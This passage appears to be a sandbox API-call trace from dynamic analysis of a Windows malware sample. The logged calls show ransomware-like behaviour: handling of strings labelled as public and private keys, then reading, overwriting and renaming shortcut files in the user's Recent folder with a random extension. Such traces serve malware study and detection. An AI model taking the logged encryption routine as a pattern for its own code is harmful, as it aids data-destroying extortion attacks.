lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.073] GetCurrentThreadId () returned 0xa30 [0083.073] GetCurrentThreadId () returned 0xa30 [0083.073] GetCurrentThreadId () returned 0xa30 [0083.073] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMBc_TwQqbjBeYXCL.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmbc_twqqbjbeyxcl.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.073] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.073] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.073] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa84 [0083.073] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.074] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa84, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa84, lpOverlapped=0x0) returned 1 [0083.075] CloseHandle (hObject=0x124) returned 1 [0083.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMBc_TwQqbjBeYXCL.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmbc_twqqbjbeyxcl.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.078] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa84, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa84, lpOverlapped=0x0) returned 1 [0083.080] CloseHandle (hObject=0x124) returned 1 [0083.081] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMBc_TwQqbjBeYXCL.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmbc_twqqbjbeyxcl.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rMBc_TwQqbjBeYXCL.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rmbc_twqqbjbeyxcl.lnk.zv7un")) returned 1 [0083.082] GetCurrentThreadId () returned 0xa30 [0083.082] GetCurrentThreadId () returned 0xa30 [0083.082] GetCurrentThreadId () returned 0xa30 [0083.083] GetCurrentThreadId () returned 0xa30 [0083.083] GetCurrentThreadId () returned 0xa30 [0083.083] GetCurrentThreadId () returned 0xa30 [0083.083] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf513000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d69eba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d69eba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Roaming.lnk", cAlternateFileName="")) returned 1 [0083.083] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.083] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.083] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf513000, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d69eba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d69eba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x303)) returned 1 [0083.083] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk")) returned 0x20 [0083.083] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk", dwFileAttributes=0x80) returned 1 [0083.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.086] GetCurrentThreadId () returned 0xa30 [0083.086] GetCurrentThreadId () returned 0xa30 [0083.086] GetCurrentThreadId () returned 0xa30 [0083.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.087] GetCurrentThreadId () returned 0xa30 [0083.087] GetCurrentThreadId () returned 0xa30 [0083.087] GetCurrentThreadId () returned 0xa30 [0083.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.088] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.088] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.088] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x303 [0083.088] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.088] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x303, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x303, lpOverlapped=0x0) returned 1 [0083.090] CloseHandle (hObject=0x124) returned 1 [0083.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: 